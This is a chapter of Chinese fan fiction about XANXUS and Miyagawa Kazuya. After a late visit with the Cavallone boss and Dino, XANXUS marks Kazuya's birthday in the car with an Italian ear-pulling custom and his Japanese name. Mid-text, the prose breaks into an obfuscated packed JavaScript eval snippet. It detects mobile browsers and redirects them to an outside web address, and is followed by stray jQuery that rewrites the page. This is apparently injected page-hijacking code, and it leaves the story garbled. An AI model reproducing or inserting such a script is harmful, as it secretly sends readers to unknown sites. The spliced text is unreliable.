时间跨过零点。
加百罗涅的九代首领与XANXUS一前一后走出书房，抬眼便见客厅沙发上昏昏欲睡的两人。
沙发前的玻璃茶几上散着两副牌，显然之前玩过。纸牌旁边摆着几只瓷碟，一碟一款，都是经典的意式点心。
为两个少年今夜的睡眠质量着想，贴心的罗马利欧换掉了会让人睡不着的浓茶，玻璃壶中剩下小半的橘色液体是橙汁。
潘娜托尼＋杏仁脆饼＋千层酥＋橙汁效果卓绝，迪诺和宫川和也耷拉着脑袋眼皮打架，一副快要困晕过去的模样。
——热量炸弹，吃晕碳了。
困到冒泡的宫川和也勉强打起精神，率先发现他们。他摇晃两下起身，顺带悄悄拽了一把身边昏迷的迪诺。
迪诺迷迷瞪瞪仰起脸。
沉到抬不起来的视线刚瞥见父亲的身影，男孩登时打了个激灵站起立正，慌张地用袖子蹭蹭嘴角。
他乖乖站好，脸上带着一丝掩不住的紧张。
“我、我们什么都没做，没玩牌，我也没和卡希亚打赌！我们两个刚才只是在吃点心……”
说着说着，迪诺意识到不对，闭上嘴巴。
好一个不打自招。
虽然迪诺一开口就把他们两个都卖了，但作为另一主犯的宫川和也处之泰然，欠身行礼，丝毫不慌。
“夜安，Don。”
“夜安，加百罗涅先生。”
反应比平时慢半拍。
XANXUS这么想着。他已经能通过宫川和也的表现精准判断状态，一听就知道这人在假装清醒。
——完全清醒状态下的宫川和也比现在更会装。
加百罗涅首领神情和蔼，自动跳过错误对话，笑呵呵地关心道：“既然累了，不如早些回去歇息，我安排人送你们。难为你们这个年纪陪着熬到这么晚。”
他个人蛮喜欢小孩子，七八岁的年纪和自家儿子一个辈分，因此态度除了包容还是包容。XANXUS在他眼中也是同样。
XANXUS向身边的老人示意，随即越过他走向宫川和也，自然地凑近少年耳畔说了句什么，少年露出惊讶的表情。
宫川和也短暂思索，又凑到对方耳边说了句悄悄话。
一旁的迪诺视线在两人间来回打转。
嗯？？有什么是他不能听的？
就在他犹豫自己接下来该做什么的时候，加百罗涅首领朝儿子摆摆手，迪诺立刻哒哒跑到父亲身边。
九代首领揉了揉迪诺软乎乎的发顶，慈爱地笑道：“累了吧，我让罗马利欧带你去休息。我们在彭格列借住两天，还有些事要谈。”
他承诺道：“你不是一直想去佛罗伦萨玩吗？趁着季节好，回去的时候可以改道去那边待两天。”
迪诺眼睛一亮：“真的吗？父亲和我一起去吗？”
“呵呵，当然。然后我们一起回家。”
“好耶，太棒啦！”
九代首领三两句话便拐走迪诺的关注。
等几个孩子——主要是迪诺和宫川和也——很正式而富有仪式感地进行了朋友的道别后，他一面安排迪诺去休息，一面派司机将XANXUS和宫川和也送回市内。
刚一上车，宫川和也又开始犯困。
时值深夜，路上安静得出奇，车里也很安静。两个少年坐在后排，都喜欢紧挨着窗，所以一左一右离得老远，互不影响。
前排开车的司机沉默寡言。从郊区回市内的道路不太好，但老练的驾驶技术让些许颠簸几乎可以忽略。
宫川和也的小脑袋一点一点。
最近两个月习惯了和XANXUS一起早睡早起，偶尔一次熬夜加晕碳，感觉整个大脑都变沉了。
慢慢慢慢，小鸡啄米似的脑袋滑向一旁。头顶着车窗，肩膀抵在车门，背靠座椅，恰好形成一个稳定的三角。
少年的眼皮越来越沉。
朦胧的睡意刚刚升起，下一秒冷不丁地感到异样。
“……你干嘛？”他含糊地说，下意识往后缩，想躲开XANXUS恶作剧的手。
没想到对方不依不饶，反而往他身边靠近了些，伸手继续去碰他的耳朵。
“时间过了零点，现在是3月12的下一天。”
宫川和也听后不明所以。
3月12的下一天？那不就是3月13吗。
3月13就直说3月13好了，干嘛还要绕一圈说……
——啊，3月13。
宫川和也清醒了。
他睁开眼，难以置信而怔愣地看向身边的人，意识到某种可能性后一时忘记闪躲，任由XANXUS动作。
微微灼热的掌心贴在脸侧，触感并不柔软，而是带些坚硬的粗糙。指腹轻而慢地揉搓着耳垂，一下一下。
XANXUS将他的惊讶尽收眼底，故作轻描淡写地问：“想起来了吗？”
啊，真是……
想起来了。3月13日是他的生日。
不是原身，而是属于宫川和也的生日。
宫川和也两次张口无言，最后才气势不足地说出一句：“……这个生日礼物未免太敷衍了吧。”
揉耳朵算什么礼物？
他送XANXUS的礼物好歹是用得上的东西。
XANXUS红眸眯起，语气微妙地提醒他：“我的生日在10月。”
所以他什么时候送过他生日礼物？
宫川和也诡辩道：“新年礼物不是礼物？”
XANXUS冷哼：“既然送我了，你打算什么时候还我？”
宫川和也一噎。
发绳坏掉后有人耿耿于怀，他实在看不下去XANXUS越补越秃的惨状，主动把发绳要走，没想到小小一个那么难搞。
XANXUS自己懒得买新的，之后干脆用火焰把略长的发尾烧成短发，也是很有个性了。
XANXUS很慢地揉了九下，后两下有点重，宫川和也轻轻嘶了一声。
过生日拉耳朵是意大利的习俗。因为普遍认为耳朵是身体最显老的部分，拉一拉有助于恢复青春。
次数通常对应岁数，但也不会过于较真。这只是一个单纯而美好的祈愿，意思到了就可以。
耳垂本来就是相对隐私的敏感部位，哪怕对方将手撒开，那种烫烫而发热的感觉持续着没有消散。
宫川和也目光掠过，敏锐地抓到后视镜里偷瞄的视线。前排司机立刻看路，眼观鼻鼻观心，充当木头人。
他收回视线，不自在地捂住耳朵，有点没话找话地问XANXUS：“你还信这个？”
XANXUS神色淡淡，反问他：“你不是最信这种没用的东西吗？”
新年要吃大餐，要看烟花，要许愿。
既然喜欢仪式感，他就给他仪式感。
“Miyagawa Kazuya。”他突然叫他。
“嗯？怎么忽然……”
“你的真名不是意大利语，而是日文吧。”
“欸？”宫川和也一瞬间愣住。
XANXUS见状，嘴角浮现一抹自信得意的笑。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220235|195207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
【Miyagawa Kazuya】——这是宫川和也写给他的名字。（回见第5章）。
“你的真名不是卡希亚，而是……”XANXUS的发音不算标准，略带一点意大利语的习惯性停顿，声音仿佛在舌尖含过再吐出。
“和也（kazuya）吧？”
“——誕生日おめでとう。”
（——日语：生日快乐。）
啊，这可真是……
稍微让他有点惊讶了。
少年的眸光在某刻温软下来。
“真厉害啊。”想起那唯一一次由他亲手送出去的名字，他低低笑了一声：“没少翻书吧？”
现在可没有搜索引擎这种快捷检索工具，查资料的唯一办法就是翻书。
即使有拼写在手，想要对照着找出真正的含义也很麻烦，合理推测必然要从意大利周边的国家开始，没那么快从欧洲找去东亚。
XANXUS这家伙……
竟然偶尔会做点像人的事。
宫川和也勉强若无其事而平静地问：“所以，我的生日礼物呢？”
“少得寸进尺了。”
XANXUS嚣张地翘起腿，双臂抱胸向后仰靠在座位，好像他才是过生日的那个：“就这些，再多没了。”
其实事先做过很多调查。
但书是全日文，没太看懂。
后来特意学了下日语，结果发现书上的内容前后矛盾，一边说要送礼物要吃红豆饭，一边说过生日要避偶就奇，一边又说都可以过但唯独不过9岁……乱七八糟。
还是意大利的风俗更简洁。两者捏合取其简单去其繁杂，有的过就不错了。
至于礼物？以后再说吧。
宫川和也嘟囔了几句太霸道，倒是没太纠结，转而问他：“你怎么知道我生日的？”
XANXUS把头转向窗外，没吭声。
尽管没说，可人选太好猜了。在他们身边划一圈范围，有可能知道他生日的人少之又少。
宫川和也没怎么思考便锁定答案：“是理查兹告诉你的？”
“我没提他。”
——猜对了。
宫川和也心下了然。
这件事肯定是XANXUS问的，理查兹无利不起早，闲得蛋疼才跟XANXUS主动说这种事。
可XANXUS问了，理查兹就要说吗？
宫川和也心里呵呵。
这个死老头，等着，看他回头把他胡子剃秃。
天天摸天天摸，越摸越长不出来，干脆剃了得了。
“你们两个最近关系不错？”他往XANXUS身边凑了凑。
“首领的权力需要通过统御属下彰显，他勉强够格。”
宫川和也秒懂。
原来不是关系变好了。
而是使唤得更顺手了。
“那个大叔知道后会哭的。”
“他？”XANXUS嫌弃而犀利地毒舌道：“那有点恶心。”
宫川和也：嗯？嗯……
“噗哈哈哈——”
似乎在脑海中想到什么，莫名被这一句话戳中笑点，少年噗地笑了：“哈哈哈哈哈，你说得对！”
他回头就把话原封不动的学给他！
也不知道这句话究竟好笑在哪，反正他笑得停不下来，几乎笑倒在XANXUS身上。
XANXUS懒洋洋地垂眸，看在有人过生日的份上，纵容了他这次对首领的冒犯。
只此一次。
下不为例。